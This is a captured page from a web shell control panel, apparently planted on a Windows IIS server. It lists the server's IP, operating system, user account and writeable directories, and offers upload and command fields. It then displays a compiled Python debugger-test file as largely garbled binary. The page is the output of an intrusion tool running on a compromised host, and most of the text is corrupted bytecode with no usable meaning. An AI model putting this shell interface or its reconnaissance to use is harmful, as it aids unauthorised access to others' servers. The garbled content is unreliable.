403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/test_gdb/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/test_gdb/__pycache__/test_misc.cpython-313.opt-1.pyc
�

��i����SSKrSSKrSSKJr SSKJrJrJrJr Sr	Sr
\
"5r\R"\"5S5"SS	\55r
S
r"SS\5r"S
S\5r"SS\5rg)�N)�python_is_optimized�)�run_gdb�setup_module�
DebuggerTests�
SAMPLE_SCRIPTc��[5 g�N)r���,C:\Python313\\Lib\test\test_gdb\test_misc.py�setUpModulers���Nrc���[S5up[R"SU5nU(d[R"SU<SU<S35eURS5R
S5nSU;$)	Nz+--eval-command=python print(dir(gdb.Frame))z.*\[(.*)\].*z9Unable to parse output from gdb.Frame.select test
stdout=z
stderr=�
rz, z'select')r�re�match�unittest�SkipTest�group�split)�stdout�stderr�m�
gdb_frame_dirs    r
�gdb_has_frame_selectrsu���J�K�N�F�
����&�)�A�������Z� ��Z�r�
#�$�	$��G�G�A�J�$�$�T�*�M���&�&r�&Python was compiled with optimizationsc�,�\rSrSrSrSrSrSrSrg)�PyListTests�c�&�URX!5 gr
)�assertEndsWith)�self�expected�actuals   r
�
assertListing�PyListTests.assertListings�����F�-rc�R�UR[S/S9nURSU5 g)z'Verify that the "py-list" command workszpy-list��script�cmds_after_breakpointz�   5    
   6    def bar(a, b, c):
   7        baz(a, b, c)
   8    
   9    def baz(*args):
 >10        id(42)
  11    
  12    foo(1, 2, 3)
N��get_stack_tracerr%�r"�bts  r
�test_basic_command�PyListTests.test_basic_command!s9��
�
!�
!��9B��"�E��	
���4��	rc�R�UR[S/S9nURSU5 g)z7Verify the "py-list" command with one absolute argumentz	py-list 9r(zI   9    def baz(*args):
 >10        id(42)
  11    
  12    foo(1, 2, 3)
Nr+r-s  r
�test_one_abs_arg�PyListTests.test_one_abs_arg0s9��
�
!�
!��9D�
�"�G��	
���4��		rc�R�UR[S/S9nURSU5 g)z8Verify the "py-list" command with two absolute argumentszpy-list 1,3r(zO   1    # Sample script for use by test_gdb
   2    
   3    def foo(a, b, c):
Nr+r-s  r
�test_two_abs_args�PyListTests.test_two_abs_args;s9��
�
!�
!��9F��"�I��	
���9��	rrN)	�__name__�
__module__�__qualname__�__firstlineno__r%r/r2r5�__static_attributes__rrr
rrs��.�
�	�rrz�

from _testcapi import pyobject_vectorcall

def foo(a, b, c):
    bar(a, b, c)

def bar(a, b, c):
    pyobject_vectorcall(baz, (a, b, c), None)

def baz(*args):
    id(42)

foo(1, 2, 3)

c�H�\rSrSr\R
"\S5\R"\"5S5S55r	\R
"\S5S5r
\R
"\S5S5r\R
"\S5\R"\"5S5S55rSr
g	)
�StackNavigationTests�W�$test requires py-up/py-down commandsrc�T�UR[SS/S9nURUS5 g)z%Verify that the "py-up" command works�py-up��sourcer*z�^.*
#[0-9]+ Frame 0x-?[0-9a-f]+, for file <string>, line 12, in baz \(args=\(1, 2, 3\)\)
#[0-9]+ <built-in method pyobject_vectorcall of module object at remote 0x[0-9a-f]+>
$N�r,�SAMPLE_WITH_C_CALL�assertMultilineMatchesr-s  r
�test_pyup_command�&StackNavigationTests.test_pyup_commandXs:��
�
!�
!�);�9@�'�8J�"�L���#�#�B�%�	rc�R�UR[S/S9nURUS5 g)z7Verify handling of "py-down" at the bottom of the stack�py-downr(z$Unable to find a newer python frame
N�r,rr!r-s  r
�test_down_at_bottom�(StackNavigationTests.test_down_at_bottomes5���
!�
!��9B��"�E�����B�C�	Erc�X�UR[S/S-S9nURUS5 g)z2Verify handling of "py-up" at the top of the stackrA�r(z%Unable to find an older python frame
NrKr-s  r
�test_up_at_top�#StackNavigationTests.test_up_at_topms9���
!�
!��9@�	�A�
�"�G�����B�D�	Frc�T�UR[/SQS9nURUS5 g)z$Verify "py-up" followed by "py-down")rArArJrBa^.*
#[0-9]+ Frame 0x-?[0-9a-f]+, for file <string>, line 12, in baz \(args=\(1, 2, 3\)\)
#[0-9]+ <built-in method pyobject_vectorcall of module object at remote 0x[0-9a-f]+>
#[0-9]+ Frame 0x-?[0-9a-f]+, for file <string>, line 12, in baz \(args=\(1, 2, 3\)\)
$NrDr-s  r
�test_up_then_down�&StackNavigationTests.test_up_then_downus5��
�
!�
!�);�8U�"�W���#�#�B�%�	rrN)r7r8r9r:r�
skipUnless�HAS_PYUP_PYDOWN�skipIfrrGrLrPrSr;rrr
r=r=Ws���
����*P�Q�
�_�_�(�*�=�?��?�R������*P�Q�E�R�E�����*P�Q�F�R�F�����*P�Q�
�_�_�(�*�=�?�	�?�R�	rr=c�0�\rSrSr\R
"\"5S5S5r\R
"\"5S5\R"\	S5S55r
\R
"\"5S5S5r\R
"\"5S5S5rSr
g	)
�PyPrintTests�rc�T�UR[SS/S9nURUS5 g)z(Verify that the "py-print" command worksrAz
py-print argsrBz".*\nlocal 'args' = \(1, 2, 3\)\n.*NrDr-s  r
r/�PyPrintTests.test_basic_command�s9���
!�
!�);�9@�/�8R�"�T���#�#�B�$I�	Krr?c�T�UR[/SQS9nURUS5 g)N)rArAz
py-print cz
py-print bz
py-print arBz3.*\nlocal 'c' = 3\nlocal 'b' = 2\nlocal 'a' = 1\n.*rDr-s  r
�test_print_after_up� PyPrintTests.test_print_after_up�s4���
!�
!�);�8t�"�v���#�#�B�$Z�	\rc�T�UR[SS/S9nURUS5 g)NrAzpy-print __name__r(z&.*\nglobal '__name__' = '__main__'\n.*�r,rrFr-s  r
�test_printing_global�!PyPrintTests.test_printing_global�s9���
!�
!��9@�BU�8V�"�X���#�#�B�$M�	Orc�T�UR[SS/S9nURUS5 g)NrAzpy-print lenr(zV.*\nbuiltin 'len' = <built-in method len of module object at remote 0x-?[0-9a-f]+>\n.*rar-s  r
�test_printing_builtin�"PyPrintTests.test_printing_builtin�s8���
!�
!��9@�.�8Q�"�S���#�#�B�$}�	rrN)r7r8r9r:rrWrr/rUrVr^rbrer;rrr
rYrY�s���
�_�_�(�*�=�?�K�?�K��_�_�(�*�=�?�
����*P�Q�\�R�?�\��_�_�(�*�=�?�O�?�O��_�_�(�*�=�?��?�rrYc��\rSrSr\R
"\"5S5S5r\R"\	S5\R
"\"5S5S55r
Srg)�
PyLocalsTests�rc�T�UR[SS/S9nURUS5 g)NrA�	py-localsr(z.*\nargs = \(1, 2, 3\)\n.*rar-s  r
r/� PyLocalsTests.test_basic_command�s8���
!�
!��9@�+�8N�"�P���#�#�B�$A�	Crr?c�T�UR[/SQS9nURUS5 g)N)rArArkr(z<^.*
Locals for foo
a = 1
b = 2
c = 3
Locals for <module>
.*$rar-s  r
�test_locals_after_up�"PyLocalsTests.test_locals_after_up�s4���
!�
!��8W�"�Y���#�#�B�%�	rrN)r7r8r9r:rrWrr/rUrVrnr;rrr
rhrh�se��
�_�_�(�*�=�?�C�?�C�����*P�Q�
�_�_�(�*�=�?�
�?�R�
rrh)rr�test.supportr�utilrrrrrrrVrWrrEr=rYrhrrr
�<module>rrs���	��,�E�E��
'�'�(��
���$�&�9�;�&�-�&�;�&�P��$*�=�*�X!�=�!�F�M�r

Youez - 2016 - github.com/yon3zu
LinuXploit